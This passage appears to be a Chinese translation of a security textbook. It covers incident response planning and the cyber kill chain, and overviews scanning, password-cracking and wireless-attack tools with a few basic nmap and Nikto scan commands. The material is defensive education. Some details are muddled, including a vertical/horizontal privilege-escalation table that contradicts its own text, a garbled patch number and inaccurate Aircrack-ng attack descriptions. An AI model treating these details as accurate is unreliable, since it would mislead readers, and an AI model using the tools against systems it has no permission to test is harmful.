一旦目标定义清楚,接下来需要制定范围。再次提醒,你可以通过回答一个问题来开始这一过程,在这个情况下就是:这个流程适用于谁?

尽管事件响应流程通常具有公司范围的覆盖,但在某些情况下,它也可以具有部门范围。因此,定义该流程是否为公司范围的流程非常重要。

每个公司对安全事件的认知可能不同;因此,必须明确定义什么构成安全事件,并提供示例。

除了定义之外,公司还必须创建自己的术语表,列出所使用术语的定义。不同的行业会有不同的术语集合,如果这些术语与安全事件相关,必须进行文档化。

在事件响应过程中,角色和责任至关重要。如果没有适当的权限级别,整个过程将面临风险。

在处理安全事件响应时,权限级别的重要性显而易见,当你考虑这个问题时:谁有权没收计算机以进行进一步调查?通过定义具有这种权限级别的用户或群体,确保整个公司都了解这一点,并且如果发生事件时,他们不会质疑执行该政策的团队。

什么定义了关键事件?当事件发生时,你将如何分配人力资源?你是否应该为事件"A"分配比事件"B"更多的资源?为什么?这些只是一些示例问题,应该回答这些问题以明确优先级和严重性级别。

为了确定优先级和严重性级别,你还需要考虑以下商业方面:

  • 事件对业务的功能性影响:受影响系统对业务的重要性将直接影响事件的优先级。所有受影响系统的相关方都应该了解这个问题,并且在确定优先级时提供意见。

  • 事件影响的信息类型:每次处理个人身份信息(PII)时,事件的优先级都会很高;因此,这是在事件处理中需要优先验证的首要元素。

  • 可恢复性:在初步评估之后,可以估算从事件中恢复所需的时间。根据恢复时间以及系统的关键性,这可能会将事件的优先级推高至高严重性。

除了这些基本领域,事件响应过程还需要定义如何与第三方、合作伙伴和客户互动。

例如,如果发生了一个事件,并且在调查过程中发现客户的个人身份信息PII)被泄露,那么公司将如何将这一信息传达给媒体?在事件响应过程中,媒体沟通应与公司的数据披露安全政策一致。法律部门也应在发布新闻稿之前参与,以确保声明没有法律问题。与执法部门合作的程序也必须在事件响应过程中记录下来。在记录时,需要考虑事件发生的物理位置——事件发生地、服务器所在位置(如果适用),以及所在州。通过收集这些信息,能够更容易识别管辖权并避免冲突。

事件响应团队

现在你已经涵盖了基本领域,接下来需要组建事件响应团队。团队的组成将根据公司规模、预算和目标有所不同。一家大公司可能希望采用分布式模型,其中有多个事件响应团队,每个团队都有特定的属性和责任。对于那些地理分散、计算资源分布在多个地区的组织来说,这种模型非常有用。其他公司可能希望将整个事件响应团队集中在一个实体中,由该团队处理所有地点的事件。

选择好将要使用的模型后,公司将开始招聘员工,组成团队。

事件响应过程需要具备广泛技术知识的人员,同时还需要在其他一些领域具有深入的知识。挑战在于找到在这一领域既有深度又有广度的人才,这有时会导致结论——你需要雇佣外部人员来填补某些岗位,甚至将部分事件响应团队外包给其他公司。

事件响应团队的预算还必须涵盖通过教育进行的持续改进、获得适当的工具(软件)和硬件。随着新威胁的出现,参与事件响应的安全专业人员必须随时准备并经过培训,以便做出良好的响应。许多公司未能保持员工的持续更新,这是不良的做法。在外包事件响应过程中,确保你所雇佣的公司会对不断培训其员工负责。

如果你计划外包事件响应操作,确保你有一个明确的服务水平协议SLA),以满足之前设定的严重性级别。在此阶段,你还应定义团队的覆盖范围,假设需要进行 24 小时操作。

在这里,你将定义:

  • 班次:将提供多少个班次以确保 24 小时覆盖?

  • 团队分配:根据这些班次,谁将负责每个班次的工作,包括全职员工和承包商?

  • 值班流程:建议对技术和管理角色进行值班轮换,以防问题需要升级处理。

事件生命周期

每个开始的事件必须有一个结束,而在开始与结束之间发生的事情是不同的阶段,这些阶段将决定响应过程的结果。这是一个持续的过程,我们称之为事件生命周期。到目前为止,我们所描述的可以视为准备阶段。然而,这一阶段比这更为广泛——它还包括基于初步风险评估(这一评估应该在创建事件响应过程之前进行)所制定的安全控制措施的部分实施。

准备阶段还包括实施其他安全控制措施,例如:

  • 终端保护

  • 恶意软件保护

  • 网络安全

准备阶段并非静态,您可以在下图中看到该阶段将接收来自事后活动的输入。

生命周期的其他阶段及其相互作用也在这个图表中显示:

检测遏制阶段可能在同一事件中有多次交互。一旦循环结束,您将进入事后活动阶段。接下来的部分将更详细地介绍这三个阶段。

处理事件

在 IR 生命周期的背景下处理事件包括检测和遏制阶段。为了检测威胁,您的检测系统必须了解攻击向量,由于威胁形势变化如此迅速,检测系统必须能够动态学习更多关于新威胁和新行为的信息,并在遇到可疑活动时触发警报。

尽管许多攻击将被检测系统自动检测到,但最终用户在发现可疑活动时发挥着重要作用,应及时报告问题。

因此,最终用户还应了解不同类型的攻击,并学习如何手动创建事件工单以解决此类行为。这应该是安全意识培训的一部分。

即使用户通过密切关注可疑活动并配置传感器在检测到威胁时发送警报,IR 过程中最具挑战性的部分仍然是准确检测真正的安全事件。

通常,您需要手动从不同来源收集信息,以查看您收到的警报是否真实反映了对系统中漏洞的利用企图。请记住,数据收集必须符合公司政策。在需要将数据带到法庭的情况下,您需要保证数据的完整性。

以下图表显示了一个示例,其中需要组合和关联多个日志以识别攻击者的最终目标:

在这个例子中,我们有许多 IoC,当我们将所有要素组合在一起时,我们可以验证攻击。

以下表格更详细地解释了图表内容:

步骤 日志 攻击/操作
1 端点保护和操作系统日志可帮助确定 IoC 钓鱼邮件
2 端点保护和操作系统日志可帮助确定 IoC 横向移动后特权升级
3 服务器日志和网络捕获可帮助确定 IoC 未经授权或恶意进程可能读取或修改数据
4 假设云端和本地资源之间存在防火墙,防火墙日志和网络抓包可以帮助确定攻击指示(IoC) 数据提取并提交给指挥与控制中心

如你所见,已有许多安全控制措施可以帮助确定是否存在安全漏洞。然而,将它们整合到攻击时间线中,并交叉分析数据,可能会更具威力。

这再次提到我们在前一章中讨论的话题,即检测正成为公司最重要的安全控制之一。分布在网络各处(包括本地和云端)的传感器将在人为活动可疑性识别和警报生成中发挥重要作用。网络安全中一个日益增长的趋势是利用安全情报和先进分析技术来更快地检测威胁,并减少误报。这可以节省时间并提高整体准确性。

理想情况下,监控系统应该与传感器集成,以便你能够在一个仪表盘中可视化所有事件。如果你使用的是不同的平台,且它们之间无法互相互动,那么可能就无法实现这种集成。

在一个类似于我们之前讨论过的场景中,检测与监控系统之间的集成可以帮助连接多个恶意行为,这些行为的最终目的是为了完成最终任务——数据提取并提交给指挥与控制中心。

一旦事件被检测并确认是真实事件,你需要收集更多的数据或分析现有的数据。如果这是一个持续发生的问题,且攻击正发生在此时,你需要从攻击现场获取实时数据,并快速提供解决方案以阻止攻击。

因此,检测与分析有时几乎是并行进行的,以节省时间,而这段时间则用于快速响应。话虽如此,需要提到的是,隔离、根除和恢复是一个单独的阶段,这部分内容将在本章的下一节中讲解。

最大的问题出现在你没有足够证据证明存在安全事件时,且你需要持续捕获数据以验证事件的真实性。有时,事件并未被检测系统发现,可能是由终端用户报告的,但他无法在此时重现问题。没有可分析的具体数据,且问题发生时你也没有赶到现场。在这种情况下,你需要设置环境以捕获数据,并指示用户在问题发生时联系支持部门。

优化事件处理的最佳实践

如果您不知道什么是正常的,就无法确定什么是异常的。换句话说,如果用户打开一个新的事件称服务器性能慢,您必须在下结论之前了解所有变量。要知道服务器是否慢,您必须首先知道什么被认为是正常速度。这也适用于网络、设备和其他设备。为了减轻这类情况,确保以下事项已就位:

  • 系统配置文件

  • 网络配置文件/基线

  • 日志保留策略

  • 所有系统的时钟同步

根据这一点,您将能够确定所有系统和网络中的正常情况。当发生事故并且需要从安全角度开始排查问题之前,这将非常有用。

事后活动

事件优先级可能会决定遏制策略——例如,如果您正在处理一种作为高优先级事件打开的 DDoS 攻击,那么遏制策略必须以同等的重要性对待。除非问题在阶段之间某种方式解决,否则很少会出现事件以高严重性打开但采取中优先级遏制措施的情况。

现实世界的场景

让我们以 WannaCry 疫情为例,使用虚构的公司 Diogenes & Ozkaya Inc.来演示端到端的事件响应过程。

在 2017 年 5 月 12 日,一些用户打电话给帮助台,称他们收到了以下屏幕:

在初步评估和问题确认后(检测阶段),安全团队介入并创建了一个事件。由于许多系统都遇到了同样的问题,他们将此事件的严重性提升到了高级别。他们利用威胁情报迅速确认这是勒索软件爆发,并为防止其他系统感染,必须应用 MS17-00(3)补丁。

在此时,事件响应团队正在三个不同的前线工作:一个试图打破勒索软件加密,另一个试图识别其他易受此类攻击影响的系统,还有一个在努力向新闻界传达问题。

他们咨询了他们的漏洞管理系统,并识别出许多其他系统缺少此更新。他们启动了变更管理过程,并将此变更的优先级提升到了关键级别。管理系统团队将此补丁部署到其余系统中。

事件响应团队与他们的反恶意软件供应商合作,成功打破加密并重新获得对数据的访问权限。此时,所有其他系统都已打补丁并且正常运行,这标志着遏制、根除和恢复阶段的结束。

吸取的教训

阅读完这个场景后,您可以看到本章涵盖的许多领域示例,并且它们将在事件中汇聚。但是,当问题解决后,事件并没有结束。事实上,这仅仅是每个事件需要完成的另一个不同层次的工作的开始——记录教训。

在事件后活动阶段,您拥有的最宝贵的信息之一就是从中吸取的教训。这将帮助您通过识别流程中的差距和改进领域来不断完善流程。当一个事件完全关闭时,它将被文档化,这份文档必须非常详细,包含事件的完整时间线,解决问题所采取的步骤、每一步发生了什么,以及如何最终解决问题的深入说明。

这份文档将作为回答以下问题的基础:

  • 谁识别出了安全问题?是用户还是检测系统?

  • 事件是否以正确的优先级开启?

  • 安全运营团队是否正确地执行了初步评估?

  • 目前有没有什么可以改进的地方?

  • 数据分析是否正确进行?

  • 隔离措施是否正确实施?

  • 目前有没有什么可以改进的地方?

  • 解决此事件花费了多长时间?

这些问题的答案将有助于完善事件响应流程,并丰富事件数据库。事件管理系统应该能够对所有事件进行完整记录和检索。目标是创建一个可以用于未来事件的知识库。很多时候,事件可以通过与上次事件相同的步骤来解决。

另一个需要关注的重要点是证据保留。在事件中捕获的所有证据应根据公司的保留政策存储,除非有特定的证据保留指南。请记住,如果需要起诉攻击者,证据必须保持完整,直到法律程序完全结案。

云中的事件响应

当我们谈论云计算时,我们在谈论云服务提供商与承接服务的公司之间的共享责任(4)。责任的程度将根据服务模型的不同而有所不同,如下图所示:

对于软件即服务SaaS),大部分责任在于云服务提供商;事实上,客户的责任基本上是保持其本地基础设施的保护(包括访问云资源的终端)。对于基础设施即服务IaaS),大部分责任在客户一方,包括漏洞和补丁管理。

了解责任是重要的,以便了解事件响应目的的数据收集边界。在 IaaS 环境中,您完全控制虚拟机,并完全访问操作系统提供的所有日志。在这种模型中唯一缺失的信息是底层网络基础设施和 hypervisor 日志。每个云服务提供商(5)都将有其关于为事件响应目的收集数据的政策,因此在请求任何数据之前,请确保您审查云服务提供商的政策。

对于 SaaS 模型,与事件响应相关的绝大多数信息都由云服务提供商持有。如果在 SaaS 服务中识别出可疑活动,您应直接联系云服务提供商,或通过门户打开一个事件(6)。确保您审查 SLA 以更好地了解事件响应场景中的参与规则。

更新您的 IR 流程以包括云

理想情况下,您应该有一个涵盖本地和云两种主要场景的单一事件响应流程。这意味着您需要更新当前流程,以包括与云相关的所有相关信息。

确保您审查整个 IR 生命周期,包括与云计算相关的方面。例如,在准备阶段,您需要更新联系人列表,包括云服务提供商的联系信息,值班流程等。其他阶段也适用:

  • 检测:根据您使用的云模型,您希望包括云服务提供商的检测解决方案,以协助您进行调查(7)。

  • 遏制:重新审查云服务提供商的能力,以隔离发生的事件,这也会根据您使用的云模型而有所不同。例如,如果您在云中有一个受损的虚拟机,您可能希望将此虚拟机与其他虚拟网络中的虚拟机隔离,并临时阻止外部访问。

有关云中事件响应的更多信息,我们建议您阅读云安全联盟指南第 9 域(8)。

参考资料

  1. 您可以在nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf下载此出版物

  2. 根据 NIST 的《计算机安全事件响应(CSIR)—出版物 800-61R2》,事件是“系统或网络中的任何可观察发生”。更多信息请访问nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf

  3. 有关此补丁的更多信息,请访问technet.microsoft.com/en-us/library/security/ms17-010.aspx

  4. 该主题的更多信息,请参见blog.cloudsecurityalliance.org/2014/11/24/shared-responsibilities-for-security-in-the-cloud-part-1/

  5. 关于 Microsoft Azure,请阅读这篇文章以获取有关云端事件响应的更多信息:gallery.technet.microsoft.com/Azure-Security-Response-in-dd18c678

  6. 对于 Microsoft 在线服务,您可以使用此表单:cert.microsoft.com/report.aspx

  7. 观看作者尤里·迪奥根尼斯(Yuri Diogenes)演示如何使用 Azure 安全中心调查云安全事件,channel9.msdn.com/Blogs/Azure-Security-Videos/Azure-Security-Center-in-Incident-Response

  8. 您可以从cloudsecurityalliance.org/document/incident-response/下载此文档。

摘要

在本章中,您了解了事件响应流程,以及它如何融入增强安全态势的整体目标。您还了解了拥有事件响应机制的重要性,以便快速识别和应对安全事件。通过规划事件响应生命周期的每个阶段,您可以创建一个可以应用于整个组织的统一流程。事件响应计划的基础对于不同行业来说是相同的,在此基础上,您可以根据自身业务需求加入定制的部分。您还学习了处理事件的关键方面,以及事后活动的重要性——包括完整记录的经验教训——并利用这些信息作为改进整体流程的输入。最后,您了解了云端事件响应的基础知识,以及它如何影响您当前的流程。

在下一章中,您将了解攻击者的思维方式、攻击的不同阶段,以及每个阶段通常会发生的事情。这是本书余下部分的重要概念,因为攻击与防御的练习将以网络安全“杀链”作为基础。

第三章:了解网络安全杀伤链

在上一章,你了解了事件响应流程及其如何融入到公司安全态势的整体提升中。现在是时候开始以攻击者的身份思考,理解攻击的理由、动机以及实施攻击的步骤。我们称之为网络安全杀伤链,这是我们在第一章《安全态势》中简要介绍过的内容。如今,报告称最先进的网络攻击涉及对目标网络的入侵,这种入侵通常会持续很长时间,在造成损害或被发现之前。这揭示了当今攻击者的一个独特特征:他们拥有惊人的能力,可以在时机成熟之前保持隐蔽。这意味着他们操作时有条不紊,并按照计划进行。攻击的精准性已被研究,结果显示,大多数网络攻击者使用一系列相似的阶段来完成成功的攻击。

为了增强你的安全态势,你需要确保从保护和检测的角度覆盖网络安全杀伤链的所有阶段。但做到这一点的唯一方法是确保你理解每个阶段如何运作、攻击者的心态,以及每个阶段所承受的损失。

在这一章中,我们将讨论以下主题:

  • 外部侦察

  • 系统入侵

  • 横向移动

  • 特权提升

  • 任务总结

外部侦察

在这个阶段,攻击者的目标只是寻找一个脆弱的目标进行攻击。动机是从目标的网络和系统外部收集尽可能多的信息。这些信息可能包括目标的供应链、过时设备的处理方式,以及员工的社交媒体活动。这将帮助攻击者决定哪些利用技巧适用于针对特定目标识别出的每个漏洞。目标列表可能是无尽的,但攻击者特别偏爱那些在系统中拥有某些特权的天真用户。然而,任何组织中的人员都可能成为攻击目标,包括供应商和客户。攻击者只需要找到一个薄弱点,便能进入组织的网络。

在这一阶段,有两种常用技术——钓鱼攻击和社会工程学。

钓鱼是通过电子邮件进行的,攻击者向目标发送精心制作的电子邮件,以使他们透露机密信息或打开网络以进行攻击。攻击者通常会将恶意软件附加到他们的电子邮件中,在打开被感染的附件后感染目标计算机。其他时候,钓鱼邮件将声称来自声誉良好的机构,从而诱使毫无戒心的目标泄露一些敏感信息。社会工程学以类似的方式工作,攻击者紧密跟随目标,收集关于他们的信息,稍后利用这些信息获取一些私人信息。社会工程主要通过社交媒体进行,攻击者将通过目标的各种喜爱的社交网络跟随目标。

攻击者将找到目标的喜好、厌恶以及其间的弱点。

无论使用上述任何一种技术还是其他技术,攻击者都会找到一个入口点。这可能是通过窃取密码或感染目标组织网络内计算机的恶意软件。窃取密码将使攻击者直接访问组织内部网络中的计算机、服务器或设备。另一方面,恶意软件可以用来感染更多计算机或服务器,从而使它们受到黑客的控制。

扫描

在侦察的这个子阶段中,攻击者将批判性地检查在侦察阶段确定的弱点。它涉及使用各种扫描工具来发现可以利用的漏洞来发动攻击。攻击者在这个阶段花费相当长的时间,因为他们知道这决定了他们成功的重要百分比。

从众多可用的扫描工具中,以下部分介绍的工具是最常用的。

NMap

NMap 是一款免费开源的网络映射工具,适用于 Windows、Linux 和 macOS。网络管理员赞赏这款免费工具拥有的巨大功能。该工具使用原始 IP 数据包在整个网络中发送。该工具可以对连接到目标网络的设备进行清单,识别可能被利用的开放端口,并监视网络中主机的正常运行时间。

该工具还能够告诉网络主机上运行的服务,对主机的操作系统进行指纹识别,并识别网络中实施的防火墙规则。NMap 具有命令行界面,但也有一个具有图形用户界面的类似工具,称为 Zenmap。Zenmap 是一个面向初学者的工具,使用更简单,具备 NMap 的所有功能。然而,功能被列在菜单中,因此用户无需记住命令,这与 NMap 不同。Zenmap 由 NMap 的同一开发者创建,只是为了为希望在其扫描工具上使用 GUI 以简化查看结果的用户服务。

NMap 主要通过用户在命令行界面提供的命令来工作。用户首先扫描系统或网络以查找漏洞。常见的做法是输入以下命令之一:

    #nmap www.targetsite.com
    #nmap 255.250.123.189  

对于前面的命令,目标站点是你希望 NMap 扫描的站点。它可以使用站点的 URL 或 IP 地址。这个基本命令通常与其他命令一起使用,比如 TCP SYN 扫描和连接扫描、UDP 扫描以及 FIN 扫描。所有这些命令都有相应的命令短语。图 1展示了 NMap 扫描两个 IP 地址的截图。在截图中,扫描的 IP 地址是 205.217.153.62 和 192.168.12.3。注意 NMap 是如何展示扫描结果的,给出了开放或关闭的端口以及它们允许运行的服务:

图 1:NMap 界面的截图

Metasploit

这是一个基于 Linux 的黑客框架,已经被黑客使用无数次。这是因为 Metasploit 由多个黑客工具和框架组成,旨在对目标执行不同类型的攻击。该工具引起了网络安全专业人员的关注,并且如今被用来教授道德黑客技术。该框架为用户提供关于多个漏洞和利用技术的重要信息。除了被黑客使用外,这个框架还用于渗透测试,帮助组织确保自己免受攻击者常用渗透技术的侵害。

Metasploit 在 Linux 终端中运行,提供一个命令行界面控制台,可以从中启动漏洞攻击。框架会告诉用户可以使用的漏洞和有效负载的数量。用户必须根据目标或要扫描的目标网络内容,搜索可用的漏洞。通常,当选择一个漏洞时,会显示该漏洞下可用的有效负载。

以下图示显示了 Metasploit 界面的截图。该截图显示了针对 IP 地址为 192.168.1.71 的主机设置的漏洞攻击:

图 2:Metasploit 界面的截图

该截图展示了可以部署到目标上的兼容有效负载:

John the Ripper

这是一个功能强大的密码破解工具,可在 Linux 和 Windows 操作系统上使用,黑客利用它进行字典攻击。该工具用于从桌面或基于 Web 的系统和应用程序的加密数据库中恢复实际用户密码。该工具通过采样常用密码,然后使用与目标系统相同的算法和密钥对其进行加密。该工具会将其结果与数据库中存储的结果进行比较,以查看是否存在匹配项。

该工具仅通过两步破解密码。首先,它识别密码的加密类型。可能是 RC4、SHA 或 MD5 等常见加密算法。它还会检查加密是否已被 salted(加盐)。

Salted 指的是在加密中添加了额外的字符,以使得返回到原始密码更加困难。

在第二步中,工具通过将哈希密码与其数据库中存储的其他哈希进行比较,尝试恢复原始密码。图 4显示了 John the Ripper 从加密哈希中恢复密码的截图:

图 4:John the Ripper 恢复加密密码的截图

THC Hydra

它与之前讨论的工具类似,唯一的区别是 Hydra 在线工作,而 John the Ripper 离线工作。然而,Hydra 更强大,因此在黑客中更受欢迎。它可用于 Windows、Linux 和 macOSX。该工具常用于快速的网络登录破解。它使用字典攻击和暴力破解攻击登录页面。

暴力破解攻击可能会引起目标方的警报,如果有安全工具存在的话,因此黑客在使用该工具时非常小心。

Hydra 在数据库、LDAP、SMB、VNC 和 SSH 中被证明是有效的。

Hydra 的工作原理非常简单。攻击者将目标在线系统的登录页面提供给该工具。工具随后会尝试所有可能的用户名和密码组合。Hydra 将其组合离线存储,这使得匹配过程更快。

下图(图 5)展示了 Hydra 安装的截图。安装是在 Linux 机器上进行的,但 Windows 和 Mac 的过程是相同的。用户在安装过程中需要输入make install。安装程序会处理剩余的部分,直到安装完成:

图 5:显示 THC Hydra 的截图

Wireshark

这是一个在黑客和渗透测试人员中非常受欢迎的工具。Wireshark 以扫描网络著称。该工具捕获目标网络中的数据包,并以详细的格式显示它们,格式为人类可读。该工具允许黑客或渗透测试人员深入分析网络流量,甚至可以检查单个数据包。

Wireshark 有两种模式。第一种是网络捕获模式。它可以长时间运行在受害者的网站上,同时捕获所有网络流量。在第二种模式下,必须停止网络捕获才能进行深入分析。在此之后,工具的用户可以查看网络流量并开始挖掘不安全交换的密码,或者确定网络上的不同设备。这是该程序最重要的功能。Wireshark 在统计菜单下有一个会话(Conversations)功能,允许用户查看计算机之间的通信。

图 6 显示了一个带有不同区域的 Wireshark 界面,以及它们包含的各种信息类型:

图 6:显示 Wireshark 界面的截图

Aircrack-ng

Aircrack-ng 是一套危险的工具,用于无线黑客攻击,并且在今天的网络空间中已成为传奇。该工具适用于 Linux 和 Windows 操作系统。需要注意的是,Aircrack-ng 依赖其他工具来首先获取目标的相关信息。通常,这些程序会发现可能的攻击目标。Airodump-ng 是常用的工具来执行此操作,但其他工具,如 Kismet,也是可靠的替代选择。Airodump-ng 检测无线接入点及其连接的客户端。Aircrack-ng 利用这些信息来攻击接入点。

今天,大多数组织和公共场所都提供 Wi-Fi,这使得它们成为黑客的理想猎场,尤其是拥有这套工具的黑客。Aircrack-ng 可以用来恢复受保护的 Wi-Fi 网络的密钥,前提是它在监控模式下捕获了足够的数据包。这个工具已经被专注于无线网络的白帽黑客所采用。该工具包包括诸如 FMS、KoreK 和 PTW 等攻击方式,这使得它的功能强大无比。

FMS 攻击用于攻击使用 RC4 加密的密钥。KoreK 用于攻击使用 WEP 加密密码保护的 Wi-Fi 网络。最后,PTW 用于攻击通过 WEP 和 WPA 安全保护的 Wi-Fi 网络。

Aircrack-ng 的工作方式有很多种。它可以通过捕获数据包并以其他扫描工具可以读取的格式导出数据,来监控 Wi-Fi 网络中的流量。它还可以通过创建假接入点或将自己的数据包注入网络,来攻击网络并获取更多关于网络中用户和设备的信息。

最后,它可以使用前面提到的攻击方法,尝试不同的组合来恢复 Wi-Fi 网络的密码。

图 7:Aircrack-ng 界面

Nikto

Nikto 是一个基于 Linux 的网站漏洞扫描器,黑客使用它来识别组织网站中任何可利用的漏洞。该工具扫描 Web 服务器,查找 6800 多种常见的被利用漏洞。它还扫描超过 250 个平台上未修补的服务器版本。该工具还会检查 Web 服务器中配置文件的错误。然而,该工具在掩盖其痕迹方面并不擅长,因此几乎总是会被任何入侵检测和防御系统捕获。

Nikto 通过一系列命令行界面命令进行工作。用户首先提供他们希望扫描的网站的 IP 地址。该工具会进行初步扫描,并返回有关 Web 服务器的详细信息。

在此之后,用户可以发出更多命令,测试 Web 服务器上的不同漏洞。图 8显示了 Nikto 工具扫描 Web 服务器漏洞的截图。给出此输出的命令是:

    Nikto -host 8.26.65.101

图 8:Nikto 工具扫描 Microsoft-IIS Web 服务器漏洞的截图

Kismet

Kismet 也是一个无线网络嗅探器和入侵检测系统。它通常嗅探 802.11 层 2 的流量,包括 802.11b、802.11a 和 802.11g。该工具可以与任何在其运行的机器上的无线网卡配合使用进行嗅探。

与使用命令行界面的其他工具不同,Kismet 使用图形用户界面进行操作,用户打开程序后会弹出界面。界面有三个部分,用户用来发出请求或查看攻击状态。当工具扫描 Wi-Fi 网络时,它会检测该网络是否安全。如果是安全的,它会检测使用的加密是否薄弱。用户可以使用一系列命令指示该工具突破已识别的 Wi-Fi 网络。图 9显示了 Kismet GUI 的截图。图形用户界面布局良好,用户通过清晰定义的菜单与程序互动,如截图所示:

图 9:Kismet 的截图

Cain 和 Abel

Cain 和 Abel 是一个基于 Windows 的密码破解工具,对 Microsoft 操作系统有效。使用这个工具的黑客可以轻松恢复目标机器的密码。它们创建一个网络适配器,用来监听路由器的流量,从而获得通过受影响路由器发送流量的主机的多个密码。该工具通过字典攻击、暴力破解和密码分析进行破解。它还可以记录 VOIP 通话、解密密码、发现缓存密码,并分析内部网络的路由协议。该工具在攻击中的效果令人惊讶,甚至可以精准选择目标,忽略那些容易修复的漏洞。

要使用该工具,必须先关闭 Windows 防火墙。然后,可以使用该工具创建一个数据包监听适配器。

接下来,输入路由器的 IP 地址。该工具将能够监听网络中主机发送到路由器的所有数据包。通过路由器传输的密码可以被攻击者嗅探到。下图显示了 Cain and Abel 工具界面的截图。NT 密码字段中为的用户名没有密码,而其余的则有一定的密码保护。如果密码少于八个字符,<8 字段会显示星号(*)。如上下文菜单所示,密码可以通过字典攻击、暴力破解和密码分析攻击进行破解:

图 10:Cain and Abel 工具界面

访问和权限提升

这一阶段发生在攻击者已经识别了目标,并使用之前讨论的工具和扫描工具扫描并利用其漏洞之后。攻击者在这一阶段的主要目标是保持访问权限,并在网络中移动而不被检测到。为了实现这种不被检测的自由移动,攻击者需要进行权限提升。这是一种攻击,能够使攻击者获得网络、连接的系统和设备的更高权限访问。

权限提升可以通过两种方式进行:纵向和横向:

纵向权限提升 横向权限提升
攻击者从一个帐户转移到另一个具有更高权限的帐户 攻击者使用相同的帐户,但提升其权限
用于提升权限的工具 用于提升权限的用户帐户

表 1:横向和纵向权限提升的比较

纵向权限提升

纵向权限提升是攻击者必须为自己提升更高权限的过程。这是一个复杂的操作,因为用户需要执行一些内核级别的操作来提升他们的访问权限。

一旦操作完成,攻击者就拥有了能够运行任何未经授权代码的访问权限和特权。通过这种方法获得的权限是超级用户的权限,比管理员的权限更高。

由于这些权限,攻击者可以执行各种有害的操作,连管理员也无法阻止。在 Windows 中,垂直权限提升被用来引发缓冲区溢出,攻击者利用这种溢出来执行任意代码。这种权限提升已经在 2017 年 5 月发生的一个攻击事件中被目睹,名为 WannaCry。WannaCry 是一种勒索软件,通过加密全球 150 多个国家的计算机并要求支付 300 美元的赎金(第二周后赎金翻倍)来造成了严重破坏。有趣的是,它利用了一个名为 EternalBlue 的漏洞,该漏洞据称是从 NSA 被盗的。

EternalBlue 使恶意软件能够提升其权限,并在 Windows 计算机上执行任意代码。

在 Linux 系统中,垂直权限提升被用来允许攻击者以 root 用户权限在目标机器上运行或修改程序。

水平权限提升

另一方面,水平权限提升较为简单,因为它允许用户使用从初始访问中获得的相同权限。

一个好的例子是攻击者成功窃取了网络管理员的登录凭据。管理员账户已经具有较高的权限,攻击者在访问该账户后立即假设这些权限。

水平权限提升也发生在攻击者能够使用普通用户账户访问受保护的资源时。一个好的例子是普通用户错误地能够访问另一个用户的账户。这通常是通过会话和 Cookie 劫持、跨站脚本、猜测弱密码以及记录按键等方式实现的。

在这个阶段结束时,攻击者通常已经在目标系统中建立了可靠的远程访问入口。攻击者可能还能够访问多个用户的账户。攻击者还知道如何避开目标可能具备的安全工具的检测。这将引导进入下一个阶段,称为数据外泄。

数据外泄

这是攻击的主要阶段。一旦攻击进入这一阶段,就被认为是成功的。攻击者通常可以自由地在受害者的网络中活动,访问所有系统和敏感数据。攻击者将开始提取组织的敏感数据,这些数据可能包括商业机密、用户名、密码、个人身份信息、机密文件以及其他类型的数据。攻击者通常在这一阶段盗取大量数据,这些数据可以出售给愿意购买的买家,或泄露到公众。许多大型公司都曾面临数据被盗的丑闻。

2015 年,一个黑客组织突破了 Ashley Madison 网站,窃取了 9.7GB 的数据。这个网站提供配偶出轨服务。黑客告知网站的母公司 Avid Life Media,如果不关闭网站,他们就会泄露一些用户数据。尽管母公司对此予以否认,但黑客很快将数据上传至暗网。数据中包括了数百万用户的真实姓名、地址、电话号码、电子邮件地址和登录凭据。黑客鼓励受影响的用户起诉公司并要求赔偿。

2016 年,雅虎公开表示,超过十亿个用户账户的数据在 2013 年被黑客盗取。公司称这次事件与 2014 年黑客盗取 50 万个账户的用户数据事件是不同的。雅虎表示,在 2013 年的事件中,黑客能够窃取用户的姓名、电子邮件地址、出生日期、安全问题和答案,以及加密的密码。

黑客据称使用伪造的 Cookie 来绕过密码,获得公司系统的访问权限。2016 年,LinkedIn 也遭到黑客攻击,超过 1.6 亿账户的用户数据被盗取。

黑客很快将这些数据拿出来出售给任何有兴趣的买家。据信,这些数据包含账户的电子邮件地址和加密密码。这三起事件展示了攻击者在能够进入这一阶段后,攻击的严重性。受害组织的声誉遭受损害,且由于未能保护用户数据,他们不得不支付巨额罚款。

攻击者有时不仅仅是窃取数据,他们还可能删除或修改存储在被入侵的计算机、系统和服务器中的文件。2017 年 3 月,黑客向苹果公司勒索,并威胁要清除 300 百万个 iCloud 账户的 iPhone 数据。尽管这一事件很快被揭露为骗局,但它表明这一行为是可能发生的。在这种情况下,一家像苹果这样的公司成为了焦点,黑客试图从中勒索钱财。另一家公司可能会匆忙支付勒索款项,以避免其用户数据被清除。

所有这些面临的事件——包括苹果公司、Ashley Madison、LinkedIn 和雅虎的案例,都展示了这一阶段的重要性。成功进入这一阶段的黑客几乎已经掌握了控制权。受害者可能还不知道数据已经被盗取,黑客可能选择保持沉默一段时间。当发生这种情况时,攻击进入了一个新的阶段,称为持续攻击(sustainment)。

持续攻击

持续阶段发生在攻击者已经自由地在网络中漫游,并复制他们认为有价值的所有数据时。当攻击者希望保持隐匿时,他们进入这一阶段。此前阶段中,数据已经被窃取,可以选择公开或出售时,攻击可以选择结束。不过,具有高度动机的攻击者,如果想要彻底摧毁目标,通常会选择继续攻击。攻击者安装了恶意软件,如 rootkit 病毒,以确保他们可以随时访问受害者的计算机和系统。

进入这一阶段的主要目的是为了争取时间,进行比数据泄露更具破坏性的攻击。攻击者的动机是超越数据和软件,攻击组织的硬件。此时,受害者的安全工具已经无法有效地检测或阻止攻击的继续。攻击者通常有多个进入受害者系统的途径,即使一个入口被关闭,他们的访问也不会受到影响。

进攻

进攻是任何网络攻击中最令人恐惧的阶段。此时,攻击者造成的损害超出了数据和软件的范围。攻击者可能会永久性地禁用或更改受害者硬件的功能。攻击者的重点是摧毁由受侵害系统和计算设备控制的硬件。

一个典型的例子是 Stuxnet 对伊朗核电站的攻击。它是第一种记录在案的数字武器,用来对物理资源造成破坏。和其他攻击一样,Stuxnet 也遵循了之前解释的各个阶段,并且已经在设施的网络中潜伏了一年。最初,Stuxnet 被用来操控核电站的阀门,导致压力积聚并损坏了工厂中的一些设备。然后,恶意软件被修改,攻击了一个更大的目标——离心机。这个过程分为三个阶段。

